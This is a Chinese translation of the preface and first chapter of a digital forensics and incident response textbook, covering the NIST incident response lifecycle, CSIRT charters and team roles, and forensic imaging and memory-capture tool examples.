数字取证与事件响应-全-
数字取证与事件响应(全)
原文:
annas-archive.org/md5/6e10f6c7f0b8273cfd80f246668d8d89译者:飞龙
前言
了解数字取证如何与整体的网络安全事件响应相结合,对于保护组织基础设施免受攻击至关重要。本书更新的第三版将帮助您进行前沿的数字取证活动和事件响应,特别聚焦于如何应对勒索软件攻击。
在重点介绍对任何信息安全团队至关重要的事件响应基础知识后,您将开始探索事件响应框架。从理解其重要性到制定快速有效的安全事件响应,本书将通过实用的示例为您提供指导。之后,您将掌握数字取证技术,包括如何获取证据、检查易失性内存、硬盘检查以及基于网络的证据。所有这些技术将应用于当前的勒索软件威胁。随着进展,您将了解威胁情报在事件响应过程中的作用。您还将学会如何准备事件响应报告,记录您的分析结果。最后,除了各种事件响应活动外,本书还将涉及恶意软件分析,并展示如何在威胁狩猎中主动运用您的数字取证技能。
本书结束时,您将学会如何高效地调查并报告组织内的安全漏洞和事件。
本书适用对象
本书适用于希望在组织中实施数字取证和事件响应的网络安全和信息安全专业人员。如果您是数字取证的初学者并希望从基础入手,本书同样适合您。开始阅读本书前,您需要具备操作系统的基础知识和一定的网络基础知识。
本书内容
第一章,理解事件响应,介绍了理解事件响应基础要素对于任何信息安全团队的重要性。如果没有了解如何处理事件响应的各个阶段,个人和组织将无法制定高效且有效的安全事件响应。本章将重点介绍事件响应的关键方面,为您提供扎实的基础。
第二章,网络事件管理,探讨了在实际事件中如何执行规划和准备这一迫切问题,因为第一章提供了事件响应的基础。通过借鉴关键的事件管理技巧,本章将引导你了解管理网络安全事件的关键组成部分,从事件被发现开始,到修复和恢复阶段,最终使组织的 IT 系统恢复正常运行。
第三章,数字取证基础,重点介绍了正确的证据处理程序。响应事件的重要部分是能够正确获取、分析并报告分析结果。数字取证,像任何法医学科一样,要求对技术、法律和操作要求有扎实的理解。缺乏这种理解,例如没有正确处理证据,可能会导致证据受到污染或变得无法使用。
第四章,调查方法,提出了一种合理的调查方法和入侵分析框架,以确保入侵和其他网络攻击得到适当的调查。数字取证和事件响应是组织正确应对网络攻击的整体过程。数字取证调查方法是一种系统化的方式,用于调查网络攻击,并融入整体的事件响应过程。
第五章,收集网络证据,解释了数字取证的第一步是数据获取。一个主要的数据来源是网络流量。在今天复杂的网络环境中,各种设备可以发送关于连接、会话的详细信息,有时甚至是通过网络连接发送的文件的完整重建。正确地获取这些证据可以提供有价值的数据点,帮助重建事件。
第六章,获取主机证据,引导你如何以法医有效的方式获取主机证据。事件很少仅涉及对网络硬件的攻击。对手通常会攻击主机,以建立立足点,部署进一步的攻击工具,最终转移到其他系统。当他们这样做时,通常会通过日志文件、内存中的代码或其他痕迹留下痕迹。
第七章,远程证据收集,提出了一个解决方案和场景,展示远程法医证据收集的能力。前几章的重点是本地化证据收集。虽然这种方法在法医学上是有效的,但其挑战在于对于大型企业而言,可能有数百甚至上千个终端在一个事件的范围之内,这种方法难以扩展。因此,需要部署专业的工具和技术来收集和搜索跨企业的证据。
第八章,法医成像,指导您如何获取和验证逻辑驱动器或分区,或在某些情况下,整个物理驱动器的法医镜像。虽然在前一章中已经获取了大量证据,但仍然会遇到需要全面检查文件系统和相关存储的情况。
第九章,分析网络证据,专注于数字证据的分析,在前一章中已经讨论了网络证据的获取。本章的主要内容将集中在重建数据包捕获中的数据以及分析命令与控制流量。最后,还将讨论如何将这些数据与其他日志文件进行关联,以确定潜在的根本原因。
第十章,分析系统内存,研究分析系统内存的各个方面,重点是识别根本原因。数字法医领域有一句格言:“恶意软件可以隐藏,但它必须运行。”虽然这有些简化,但它指向了数字法医的一个关键方面——也就是,受感染系统的内存包含大量证据。随着内存仅恶意软件和其他漏洞的兴起,这一问题也日益成为关注焦点。
第十一章,分析系统存储,允许您利用上一章中收集的证据,提取相关数据,并进行分析,目的是确定妥协的根本原因。与内存类似,系统存储中通常包含大量证据需要分析。
第十二章,分析日志文件,指导您使用多种开源工具分析日志文件。Windows 操作系统具有多个独立的日志文件,用于记录 Windows 系统上的各种活动。这些活动包括登录、PowerShell 使用以及与执行进程相关的事件。这些日志源作为证据的来源非常宝贵。
第十三章,编写事件报告,展示了事件报告的关键要素。报告数据分析结果和事件发生顺序是事件响应的重要组成部分。本章介绍了需要关注的不同受众,如何准备技术报告,以及如何适当地向组织的利益相关者进行汇报。
第十四章,勒索软件准备与响应,概述了勒索软件及应对此类事件的必要步骤。在过去几年中,勒索软件已成为对组织构成最大威胁的因素。虽然执行此类攻击相对容易,但其对组织的影响却极为严重。妥善准备和处理这些事件对于将业务恢复正常、最小化停机时间至关重要。
第十五章,勒索软件调查,基于第十四章的内容,进一步加深了对勒索软件的理解,重点关注特定的调查步骤。这将深入探讨勒索软件威胁行为者常用的工具和技术,重点是初始访问、凭证窃取、横向传播以及命令与控制。
第十六章,事件响应中的恶意软件分析,指导你通过各种技术检查恶意代码并在事件处理中利用恶意软件数据。在调查事件时,尤其是过去五年的事件,大多数都涉及恶意软件作为最初攻击方式以获取系统访问权限。尽管许多恶意软件变种已为人熟知,但在涉及事件的系统上,仍然有可能发现新的恶意代码。
第十七章,利用威胁情报,探讨了威胁情报及如何在事件发生前后利用这些数据。在过去十年中,关于威胁行为者、其方法和攻击迹象的数据与情报已变得更容易获取,政府以外的组织也可以使用这些信息。尽管这些信息可以被利用,但许多组织缺乏正确利用威胁情报所需的技能和知识。
第十八章,威胁狩猎,指导你进行威胁狩猎的实践、方法论,以及如何以主动的方式整合前几章中介绍的多项技能。威胁狩猎是一种利用数字取证技术主动识别以前未被识别的威胁的实践,当前在许多组织中获得越来越多的关注。
为了充分利用本书
对 Windows 操作系统内部的基本理解将使一些核心概念,如内存分析或进程执行,更易于理解。此外,您应该熟悉在 Windows 和 Linux 命令行中工作的方法。最后,对网络协议的基本理解将有助于分析网络证据。
| 书中涵盖的软件/硬件 |
|---|
| Wireshark |
| FTK Imager 4.7.12 |
| WinPmem 2.0.1 |
| Belkasoft Live RAM Capturer |
| Kroll gkape 1.2.0.0 |
| Velociraptor 0.6.4 |
| Eraser 6.2.0.2993 |
| Volatility 3 Framework 2.2.0 |
| Volatility Workbench v3.0.1003 |
| Autopsy 4.19.3 |
| Event Log Explorer 5.2 |
| Skadi 2019.4 |
| 操作系统要求 |
| Windows 10 |
需要在 Linux 操作系统上运行各种工具,如 Ubuntu 20.04。还有一些技术应在沙盒环境中执行,以限制意外感染的可能性。您应该具备虚拟化工具,如 VMWare Workstation Player 或 VirtualBox,以使用涵盖的多个操作系统和工具。
在某些情况下,涵盖的工具有商业版本。在跟随所呈现的各种示例时,不需要购买商业工具。我们的目标是,您可以将这些示例和结构带入生产环境,并在实际调查中使用它们。
下载彩色图像
我们还提供了一个包含本书中使用的截屏和图表彩色图像的 PDF 文件。您可以在这里下载:packt.link/mQnUu。
使用的约定
本书中使用了多种文本约定。
文本中的代码: 表示文本中的代码字词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:“打开FTK Imager文件夹,并以管理员身份运行可执行文件。”
代码块设置如下:
dc3dd 7.2.646 started at 2022-05-24 22:17:14 +0200
compiled options:
command line: dc3dd if=/dev/sda of=ACMELaptop056.img hash=md5 log=ACMELaptop56.txt
当我们希望引起您对代码块的特定部分的注意时,相关行或项将以粗体显示:
input results for device `/dev/sda':
937703088 sectors in
0 bad sectors replaced by zeros
9fc8eb158e5665a05875f4f5f2e6f791 (md5)
任何命令行的输入或输出格式如下:
E:\winpmem_mini_x64_rc2.exe Acc_LT09.raw
粗体: 表示新术语、重要词汇或屏幕上显示的字词。例如,菜单或对话框中的字词会以粗体显示。例如:“下载后,在 USB 驱动器的Tools分区中安装可执行文件。”
提示或重要说明
如此显示。
联系我们
我们一直欢迎读者的反馈。
一般反馈: 如果您对本书的任何方面有疑问,请通过电子邮件联系我们,邮件地址为 customercare@packtpub.com,并在主题中提及书名。
勘误:尽管我们已尽最大努力确保内容的准确性,但难免会有错误发生。如果你在本书中发现错误,我们将非常感激你能报告给我们。请访问 www.packtpub.com/support/errata 并填写表单。
盗版:如果你在互联网上发现任何我们作品的非法复制品,请提供相关位置地址或网站名称,我们将不胜感激。请通过 copyright@packt.com 联系我们,并附上材料的链接。
如果你有兴趣成为作者:如果你在某个领域具有专业知识,并且有兴趣撰写或为书籍做贡献,请访问 authors.packtpub.com。
分享你的想法
一旦你读完了《数字取证与事件响应》第三版,我们很想听听你的想法!请 点击这里直接进入亚马逊评论页面并分享你的反馈。
你的评论对我们和技术社区非常重要,它将帮助我们确保提供优质的内容。
下载本书的免费 PDF 副本
感谢你购买本书!
你喜欢随时随地阅读,但无法携带印刷书籍吗?你的电子书购买与选定设备不兼容吗?
不用担心,现在购买每本 Packt 书籍,你将免费获得该书的无 DRM PDF 版本。
在任何地方、任何设备上阅读。直接从你最喜欢的技术书籍中搜索、复制并粘贴代码到你的应用程序中。
福利不仅仅如此,你还可以通过每日收件箱获取独家折扣、新闻通讯以及精彩的免费内容。
按照以下简单步骤获取福利:
- 扫描二维码或访问以下链接

packt.link/free-ebook/9781803238678
-
提交你的购买凭证
-
就这样!我们将把免费的 PDF 和其他福利直接发送到你的邮箱。
第一部分:事件响应与数字取证基础
本书的第一部分奠定了事件响应(IR)和数字取证的基础。这些基础元素,如 IR 过程、取证原则和事件管理,将直接关联到书中的后续部分。
本部分包括以下章节:
-
第一章**, 了解事件响应
-
第二章**, 管理网络事件
-
第三章**, 数字取证基础
-
第四章**, 调查方法论
第一章:理解事件响应
在审视今天的信息技术(IT)面临的威胁时,这似乎是一个让人不知所措的问题。从简单的脚本小子使用现成代码到国家级对手工具,准备好应对这些威胁至关重要。例如,一名内部员工可能下载了一份勒索软件,而这可能对组织产生重大影响。更复杂的攻击,如网络利用尝试或定向数据泄露,会增加安全事件所造成的混乱。技术人员将忙于确定哪些系统受到了影响,并且这些系统是如何被操控的。他们还必须处理通过被攻破的系统可能导致的数据丢失。此外,管理层还会催促他们更新情况并回答一个重要问题:这是怎么发生的? 是网络服务器的漏洞,还是钓鱼邮件导致了横向传播? 管理层还想知道:情况有多严重? 损害是否仅限于网络服务器,还是整个网络的很大一部分已经遭到破坏?
具备以有序高效的方式正确应对安全事件的能力,使组织能够在潜在的网络攻击中限制损害,并从相关损害中恢复。为了促进这种有序的响应,所有规模的组织都已考虑将事件响应(IR)能力纳入其现有的政策、程序和流程中。
为了在组织内部建立这一能力,必须解决几个关键组成部分。首先,组织需要对 IR 过程有一定的了解。该过程概述了事件的一般流程以及在每个阶段采取的一般行动。其次,组织需要能够接触到那些构成任何 IR 能力核心的人员。一旦团队组建完成,就需要制定正式的计划和相关流程。这些书面计划和流程构成了组织在事件发生时可以遵循的有序结构。最后,在建立了这一框架后,必须持续评估、测试并改进该计划,因为新的威胁不断出现。利用这个框架将使组织能够为许多组织已经面临的不幸现实做好准备——一个影响安全的事件。
本章将涵盖以下主题:
-
IR 过程
-
IR 框架
-
IR 计划
-
IR 行动手册/手册
-
测试 IR 框架
IR 过程
网络安全事件在其生命周期中遵循一个一般路径。如果组织具备成熟的 IR 能力,它将采取措施确保在每个阶段都能应对事件。每个事件从组织第一次意识到一个或一系列表明恶意活动的事件开始。这一检测可能来自安全控制警报或外部方告知组织潜在的安全问题。一旦收到警报,组织将通过分析事件、采取遏制措施,将信息系统恢复到正常操作状态。IR 过程没有固定的标准,一个被广泛使用的标准是美国国家标准与技术研究院(NIST)的 IR 过程。下图来自 NIST 特别出版物(SP)800-61,展示了 NIST 过程如何在一个周期中流动,以准备作为起点。仔细观察会发现,每个事件都被用来更好地为组织准备未来的事件,作为事件后活动,并为下一个事件的准备工作提供支持:

图 1.1 – NIST IR 过程
IR 过程可以分解为以下六个独立的阶段,每个阶段都有一系列组织可以采取的行动来应对事件:
-
准备:没有良好的准备,任何后续的 IR 都会显得杂乱无章,甚至可能使事件变得更糟。准备的一个关键组成部分是制定 IR 计划。一旦计划完成并且人员配置到位,确保负责 IR 工作的人员得到充分的培训。这包括相关的流程、程序以及调查事件所需的任何额外工具。除了计划外,还应当采购并将取证硬件和软件纳入整体流程中。最后,应定期开展演练,确保组织人员已接受培训并熟悉整个过程。
-
检测:潜在事件的检测是一项复杂的工作。根据组织的规模,可能每天会有超过一亿个独立的事件。这些事件可以是正常业务过程中采取的合法操作记录,也可以是潜在恶意活动的指示。将大量的事件数据与其他安全控制措施的警报结合在一起,分析师会被数据淹没,必须从大量的网络噪声中筛选出有价值的信号。即便是今天最前沿的安全信息与事件管理(SIEM)工具,如果没有得到正确的维护,并且未定期更新规则集来识别哪些事件符合潜在事件的标准,它们的效果也会大打折扣。检测阶段是 IR 过程中的一部分,组织在这一阶段首次意识到一组可能表示恶意活动的事件。这些已被检测到并表明恶意行为的事件随后会被归类为事故。例如,安全分析师可能收到警报,指出某个特定的管理员账户在管理员度假时被使用。检测也可能来自外部来源。互联网服务提供商(ISP)或执法机关可能会检测到来自组织网络的恶意活动,并联系该组织通报情况。在其他情况下,用户可能是第一个发现潜在安全事件的人。这可能仅仅是一个员工联系帮助台,告诉帮助台技术员他们收到了一个来自未知来源的 Excel 电子表格并打开了它。现在他们抱怨本地系统上的文件正在被加密。在每种情况下,组织都必须将这些事件升级为事故(我们将在本章稍后讨论),并开始调查和修复的反应过程。
-
分析:一旦检测到事件,组织的人员或可信的第三方将开始分析阶段。在这一阶段,人员开始收集来自系统的证据,如运行中的内存、日志文件、网络连接和正在运行的软件进程。根据事件的类型,这一收集过程可能需要从几小时到几天不等。证据收集完成后,接下来需要对其进行分析。进行此分析的工具有很多,其中许多将在本书中进行探讨。通过这些工具,分析师试图确定发生了什么,影响了什么,是否有其他系统涉及其中,是否有机密数据被移除。分析的最终目标是确定事件的根本原因,并重建威胁行为者的行为,从最初的入侵到最终的检测。
-
遏制:一旦充分了解事件的性质和涉及的系统,组织就可以进入遏制阶段。在此阶段,组织采取措施限制威胁行为者继续危害其他网络资源、与指挥与控制(C2)基础设施通信或窃取机密数据的能力。遏制策略可以从在防火墙上锁定端口和互联网协议(IP)地址,到简单地拔掉感染机器背后的网络电缆。每种类型的事件都有其独特的遏制策略,但拥有多个选项可以让人员在能够检测到安全事件时,或在威胁行为者窃取数据时,迅速从源头遏制问题。
-
清除与恢复:在清除阶段,组织将从受影响的网络中移除威胁行为者。如果是恶意软件感染,组织可能会运行增强版的反恶意软件解决方案。其他情况下,感染的机器必须被擦除并重新映像。其他活动还包括移除或更改被攻破的用户账户。如果组织已识别出被利用的漏洞,则会应用供应商的修补程序或进行软件更新。恢复活动与组织的业务连续性(BC)或灾难恢复(DR)计划中的活动非常相似。在该阶段,组织会重新安装全新的操作系统或应用程序,同时从备份中恢复本地系统的数据。作为尽职调查的一部分,组织还会审计现有的用户和管理员账户,以确保没有账户被威胁行为者启用。最后,会进行全面的漏洞扫描,以确保组织确信所有可被利用的漏洞都已被清除。
-
事件后活动:在事件过程结束时,所有主要利益相关者会对事件进行全面审查。事件后活动包括对事件过程中采取的所有措施进行彻底回顾。哪些措施有效——更重要的是——哪些措施无效,是讨论的重要内容。这些回顾非常重要,因为它们可能突显出对 IR(事件响应)结果产生积极或消极影响的具体任务和行动。正是在这一阶段,书面报告会被完成。记录在事件过程中采取的行动对于捕捉发生的情况以及是否有可能将事件提交至法庭至关重要。为了确保文档的有效性,应该详细记录并展示清晰的事件链条,重点关注根本原因(如果已确定)。参与报告编写的人员应意识到,IT 之外的利益相关者也可能阅读该报告。因此,技术术语或概念应当加以解释。
最后,组织人员应根据事件后评估和报告中得到的最新信息更新自己的 IR 流程。将所学经验纳入其中非常重要,因为这会使未来的事件响应更加有效。
数字取证的作用
很多人对 IR 领域的理解存在误解,认为 IR 仅仅是数字取证的问题。因此,他们经常混淆这两个术语。虽然数字取证是 IR 的关键组成部分(因此我们在本书中包含了多章内容讨论数字取证),但应对事件的处理不仅仅是检查硬盘。最好将取证视为整体 IR 过程的支持性职能。数字取证作为理解事件技术方面的机制,可能帮助识别根本原因,并发现未知的访问或其他恶意活动。例如,一些事件,如拒绝服务(DoS)攻击,几乎不需要任何取证工作。另一方面,涉及内网服务器和 C2 流量的网络入侵事件,则需要对日志、流量分析和内存进行广泛检查。从这些分析中,可能会得出根本原因。在这两种情况下,受影响的组织都能应对事件,但在后者的情况下,取证发挥了更重要的作用。
IR(事件响应)是信息安全职能,利用数字取证的方法、工具和技术,但它超越了数字取证所提供的内容,涉及额外的元素。这些元素包括遏制潜在的恶意软件或其他漏洞、识别并修复脆弱性,以及管理各种技术和非技术人员。一些事件可能需要分析主机证据或内存,而其他事件可能只需要审查防火墙日志,但在每种情况下,响应者都会遵循 IR 流程。
IR 框架
响应数据泄露、勒索病毒攻击或其他安全事件绝不应是临时处理的过程。未定义的流程或程序会导致组织无法既识别事件的范围,又能在足够的时间内止住损失,从而限制损害。此外,在事件发生时试图制定应对计划,实际上可能会破坏关键证据,或者更糟糕的是,制造更多问题。
对 IR 流程有深入的了解只是建立该能力的第一步。组织所需的是一个框架,通过利用组织现有资源来执行这些流程。IR 框架描述了组织内功能性 IR 能力的组成部分。该框架包括人员、政策、程序和实施等要素。正是通过这些要素,组织建立了应对事件的能力。
IR 章程
建立这一能力的第一步是高级领导层决定,组织面临的风险过于重大,不能忽视潜在的安全事件的可能性。一旦达成这一共识,组织的高级成员将担任项目赞助人,并制定 IR 章程。该章程概述了将推动计算机安全 IR 团队(CSIRT)创建的关键要素。
信息
尽管 IR 团队有多个名称,CERT(计算机应急响应小组)一词常常与US-CERT(美国计算机应急响应小组)相关联,后者隶属于美国国土安全部(US DHS)或CERT 协调中心(CERT/CC),该中心由卡内基梅隆软件工程研究所(SEI)管理。为了方便起见,我们将使用更通用的 CSIRT。
IR 章程应为一份书面文件,涵盖以下内容:
-
获得高级领导层支持:为了成为组织的有效组成部分,CSIRT 需要获得组织高级领导层的支持。在私营部门机构中,获得必要的支持和资金可能较为困难,因为 CSIRT 本身并不像营销或销售那样直接提供价值。应该理解的是,CSIRT 在最糟糕的情况下充当保险政策。通过这种方式,CSIRT 可以通过减少事件的影响来证明其存在,从而降低与安全漏洞或其他恶意活动相关的成本。
-
local.example.com或如ACME Inc.这样的组织名称及相关子公司。 -
创建使命声明:如果没有明确的 CSIRT 目的定义,使命蔓延或 CSIRT 职责的逐步扩展可能会发生。为防止这种情况,书面信息安全计划中应包括一个清晰定义的使命声明。例如,ACME Inc.的 CSIRT 使命是为影响ACME Inc.信息系统和人员的安全事件提供及时的分析和行动,确保保密性、完整性和可用性。
-
确定服务交付:与使命声明一起,明确列出服务清单也可以防止 CSIRT 的使命范围膨胀。服务通常分为两大类——主动服务和反应服务,如下所述:
-
主动服务:包括为非 CSIRT 员工提供培训,提供有关新兴安全威胁的摘要,测试和部署安全工具,如端点检测与响应(EDR)工具,以及通过制定入侵检测系统/入侵防御系统(IDS/IPS)告警规则来协助安全运营。
-
反应服务:这些主要是针对发生的事件进行响应。大多数情况下,反应服务涵盖整个 IR 过程。这包括证据的获取和检查、协助 containment(遏制)、根除和恢复工作,以及最后——记录事件。
-
明确声明的章程的另一个重要好处是让整个组织了解 CSIRT。这是为了消除关于团队目的的任何谣言或暗示。组织的员工可能会听到诸如数字调查或IR 团队这样的术语,进而认为组织正在准备专门用来揭发员工不当行为的秘密警察。为了应对这一点,可以向所有员工提供一份简短的声明,包含 CSIRT 的使命声明。CSIRT 还可以定期向高级领导层提供处理过的事件更新,以展示团队的目的。
CSIRT 团队
一旦完成 IR 章程,下一步就是开始为 CSIRT 配置人员。大型组织如果资源充足,可能会将人员全职分配给 IR 职责。然而,通常情况下,组织不得不利用那些有其他职责的人员来支持 IR。内部 CSIRT 成员可以分为三类:核心团队、技术支持和组织支持。CSIRT 中的每个人都有特定任务。将这一能力建设进组织,需要的不仅仅是分配人员和创建政策与程序文件。与任何大型项目倡议一样,创建一个功能齐全的 CSIRT 需要相当大的努力。
对于 CSIRT 的每个类别,都有特定的角色和责任。这一广泛的人员配置旨在为各种从小到大的事件提供指导和支持。
CSIRT 核心团队
CSIRT 核心团队由全职承担 IR 职责或在需要时承担 IR 活动的人员组成。在许多情况下,核心团队通常由分配到信息安全团队的人员组成。其他组织可以利用具有 IR 活动专长的人员。以下是可以纳入核心团队的角色:
- IR 协调员:这是任何 CSIRT 中的关键组成部分。如果没有明确的领导,潜在事件的响应可能会混乱,或者在事件发生时,多个个人争夺控制权,导致混乱的局面,反而可能使事件变得更糟。在许多情况下,IR 协调员通常是 首席安全官(CSO)、首席信息安全官(CISO)或 信息安全官(ISO),因为该人员通常负责组织信息安全的总体管理。其他组织可能会指定一个单独的个人担任 IR 协调员。IR 协调员负责在事件发生前、发生中和发生后管理 CSIRT。在准备阶段,IR 协调员将确保任何关于 CSIRT 的计划或政策定期审查并在必要时更新。此外,IR 协调员还负责确保 CSIRT 团队得到适当的培训,并监督 CSIRT 人员的测试和培训。
在事件发生期间,IR 协调员负责确保事件得到适当的响应和修复,并指导团队完成整个 IR 过程。在事件处理中,最重要的任务之一是协调 CSIRT 与高层领导的沟通。由于数据泄露的风险较高,像 首席执行官(CEO)这样的高层领导希望及时了解有关事件的关键信息。IR 协调员的责任是确保高层领导充分了解与事件相关的活动,并使用简明扼要的语言进行汇报。一个障碍是,组织内的高级领导可能缺乏理解事件技术方面的能力,因此与他们沟通时,需要使用他们能够理解的语言。
最后,在事件结束时,IR 协调员负责确保事件被适当记录,并将 CSIRT 活动的报告交付给相关的内部和外部利益相关者。此外,还会对所有 CSIRT 活动进行全面的总结,并将经验教训纳入到 CSIRT 计划中。
- CSIRT 高级分析员:CSIRT 高级分析员是具有丰富 IR 培训和经验的人员,他们还具备数字取证或网络数据分析等相关技能。他们通常有多年作为顾问或企业 CSIRT 成员进行 IR 活动的经验。
在 IR 过程的准备阶段,他们参与确保自己具备处理在 CSIRT 中担任特定角色所需的技能和培训。他们通常还会协助审查和修改 IR 计划。最后,高级分析员还会参与培训团队中的初级成员。
一旦事件被识别,高级分析员将与其他 CSIRT 成员合作,获取和分析证据,指导遏制活动,并协助其他人员进行补救。
在事件结束时,高级分析员将确保他们自己和其他人员适当记录该事件。这将包括向内部和外部利益相关者准备报告。他们还将确保任何证据都根据 IR 计划被适当归档或销毁。
- CSIRT 分析员:CSIRT 分析员是承担 CSIRT 职责的人员,他们在 IR 活动中经验较少或接触较少。通常,他们只有 1 到 2 年的事件响应经验。因此,他们可以执行各种活动,其中一些活动是在高级分析员的指导下进行的。
在准备阶段的活动中,分析员将通过培训和演练提升技能。他们也可能参与 IR 计划的审查和更新。在事件发生期间,他们将负责从可能受感染的主机、网络设备或各种日志源收集证据。分析员还将参与证据的分析,并协助其他团队成员进行补救活动。
-
安全运营中心(SOC)分析员:较大的企业可能拥有内部或外包的 24/7 SOC 监控能力。被分配到 SOC 的分析员通常会成为事件检测和警报的关键人员。因此,拥有 SOC 分析员作为团队的一员,可以让他们接受事件识别和响应技术的培训,并几乎立即响应潜在的安全事件。
-
IT 安全工程师/分析员:根据组织的规模,可能会有专门的人员负责部署、维护和监控与安全相关的软件(如防病毒软件)或硬件(如防火墙或 SIEM 系统)。当事件被识别时,直接访问这些设备是至关重要的。被分配这些职责的人员通常会在整个应急响应(IR)过程中扮演直接角色。
IT 安全工程师或分析员将负责 IR 过程的准备工作。他们将是确保安全应用程序和设备正确配置以便于警报潜在事件的主要资源,并确保设备正确记录事件,以便能够重建事件过程。
在事件发生期间,他们的任务是监控安全系统,寻找其他恶意行为的指示。他们还将协助其他 CSIRT 人员从安全设备中获取证据。最后,在事件发生后,这些人员将负责配置安全设备,监控可疑行为,以确保补救活动已经消除了受影响系统中的恶意活动。
技术支持人员
技术支持人员是指那些在组织内不承担 CSIRT 日常活动的人员,但他们在事件发生时具备可能受到影响的系统和流程的专业知识或访问权限。例如,CSIRT 可能需要让服务器管理员协助核心团队从服务器获取证据,如内存捕获、虚拟系统获取或日志文件卸载。完成后,服务器管理员的角色即告结束,他们可能不再参与该事件。以下是一些在事件发生时可以为 CSIRT 提供帮助的人员:
-
网络架构师/管理员:事件通常涉及网络基础设施,包括路由器、交换机以及其他网络硬件和软件的攻击。网络架构师或管理员对这些设备的正常和异常行为有重要的见解,并且能帮助识别异常的网络流量。在涉及网络基础设施的事件中,这些支持人员可以协助获取网络证据,如访问日志或数据包捕获。
-
服务器管理员:威胁行为者通常瞄准网络中存储关键或敏感数据的系统。这些高价值目标通常包括域控制器、文件服务器或数据库服务器。服务器管理员可以帮助从这些系统中获取日志文件。如果服务器管理员还负责维护 Active Directory 结构,他们可能能够协助识别新用户账户或现有用户及管理员账户的变化。
-
应用支持:Web 应用程序是威胁行为者的主要目标。编码中的缺陷,如允许 SQL 注入或安全配置错误,常常是某些安全漏洞的根源。因此,将应用支持人员纳入 CSIRT 有助于查找与应用攻击直接相关的信息。这些人员通常能够识别代码变更或确认在对应用程序可能攻击的调查过程中发现的漏洞。
-
桌面支持:桌面支持人员通常参与维护桌面系统上的控制措施,如数据丢失防护和防病毒软件。在发生事件时,他们可以协助提供 CSIRT 所需的日志文件和其他证据。他们还可能负责在事件的修复阶段清理受感染的系统。
-
帮助台:根据不同组织的情况,帮助台人员在识别事故方面就像煤矿中的金丝雀一样。他们通常是用户在第一次出现恶意软件感染或其他恶意活动迹象时联系的第一个人。因此,帮助台人员应参与 CSIRT 响应的培训,并了解他们在事故识别和升级程序中的角色。如果发生广泛的事件,他们还可以协助识别其他受影响的人员。
组织支持人员
除了技术领域,其他组织成员也应纳入 CSIRT 中。组织人员可以协助解决一系列非技术性问题,这些问题超出了 CSIRT 核心人员和技术支持人员的职责范围。这些问题包括导航内部和外部法律环境、协助客户沟通或在现场支持 CSIRT 人员。
以下是应纳入 CSIRT 计划的一些组织支持人员:
-
法律:数据泄露和其他事故涉及各种法律问题。许多国家现在都有泄露通知法律,要求组织通知客户其信息已被置于风险中。其他合规要求,如健康保险流动性与责任法案(HIPAA)和支付卡行业数据安全标准(PCI DSS)要求受影响的组织联系各种外部机构并通知他们可能发生的泄露事件。在 IR 过程的早期引入法律代表,将确保这些通知和其他法律要求及时得到处理。如果泄露是由内部人员(如员工或承包商)造成的,受影响的组织可能希望通过民事诉讼追回损失。在过程的早期包括法律代表,将有助于做出更为知情的决定,确定应遵循哪种法律程序。
-
人力资源(HR):组织中发生的许多事故是由员工或承包商实施的。诸如欺诈行为或大规模数据盗窃等行为的调查可能需要 CSIRT 介入。如果调查的对象是员工或承包商,人力资源部门可以协助确保 CSIRT 的行动符合适用的劳动法和公司政策。如果需要解雇员工或承包商,CSIRT 可以与人力资源人员协调,确保所有有关该事件的适当文档已完成,从而减少不当解雇诉讼的可能性。
-
市场营销/通讯:如果外部客户或顾客可能受到像 DoS 攻击或数据泄露等事件的负面影响,市场营销或通讯部门可以帮助制定合适的信息,安抚顾客的恐慌,并确保外部实体获得最准确的信息。回顾过去一些数据泄露事件,其中一些组织试图将细节隐瞒,不告知客户,结果引发了公众的强烈反应。拥有一个完善的沟通计划,并在早期付诸实践,将有助于缓解客户或客户的任何负面反应。
-
设施:CSIRT 可能需要在非工作时间或长时间内访问特定区域。设施部门可以协助 CSIRT 及时获得所需的访问权限。设施部门还可能为 CSIRT 提供额外的会议空间,以应对长时间的事件,需要专门的工作空间和基础设施。
-
公司安全:CSIRT 可能会被召集处理公司网络资源或其他技术的盗窃事件。笔记本电脑和数字媒体的盗窃非常常见。公司安全部门通常可以访问入口和出口处的监控录像。他们可能还会保存员工和其他人员在设施内活动的门禁卡和访客记录,供 CSIRT 跟踪。这有助于重构导致盗窃或其他事件发生的过程。
外部资源
许多行业都有专业的组织,行业从业者无论所属雇主如何,都可以聚集在一起共享信息。CSIRT 人员有时也可能需要与执法部门和政府机构进行对接,特别是在他们成为针对多个类似组织的大规模攻击的一部分时。与外部组织和机构建立关系可以在发生事件时,帮助 CSIRT 获取情报共享和资源支持。这些资源包括以下内容:
-
高技术犯罪调查协会(HTCIA):HTCIA 是一个国际性的专业人士和学生组织,专注于高技术犯罪。资源涵盖从数字取证技术到可以帮助 CSIRT 人员掌握新技术和方法的广泛企业级信息。如需更多信息,请访问官网
htcia.org/。 -
InfraGard:对于在美国的 CSIRT 和信息安全从业人员,联邦调查局(FBI)创建了一个旨在促进网络和信息共享的公私合营伙伴关系。此伙伴关系使 CSIRT 成员可以分享有关趋势的信息或讨论过去的调查。更多信息请访问以下网站:
www.infragard.org/。 -
执法:与网络相关的犯罪活动在执法领域经历了爆炸性的增长。对此,许多执法机构已提高了调查网络犯罪的能力。CSIRT 领导应与具备网络犯罪调查能力的机构建立关系。执法机构可以提供有关正在发生的特定威胁或犯罪的见解,并向 CSIRT 提供任何相关的信息。
-
供应商:在发生事件时,可以利用外部供应商,而他们能提供的服务通常取决于组织与他们合作的业务领域(LOB)。例如,组织的 IPS/IDS 解决方案提供商可以协助制定自定义警报和阻断规则,以帮助检测和遏制恶意活动。具有威胁情报(TI)能力的供应商也可以提供有关恶意活动指标的指导。最后,一些组织可能需要聘请专门从事 IR 的供应商,比如当需要逆向工程恶意软件时,这些技能超出了组织的能力范围。
根据组织的规模,CSIRT 涉及多人的情况很容易理解。在组建整个 CSIRT 时,确保每个成员了解其角色和职责至关重要。还应要求每个成员就整个 IR 过程中可以利用的特定专业知识提供指导。在 IR 框架的下一个部分——IR 计划的制定过程中,这一点变得尤为重要。
IR 计划
编写完 IR 章程并成立 CSIRT 后,下一步是制定 IR 计划。IR 计划是一个概述组织响应能力高层结构的文件。这是一个高层次的文件,作为 CSIRT 的基础。IR 计划的主要组成部分如下:
-
IR 章程:IR 计划应包括来自 IR 章程的使命声明和服务对象。这使得该计划在 IR 能力的起始阶段和 IR 计划之间具有连续性。
-
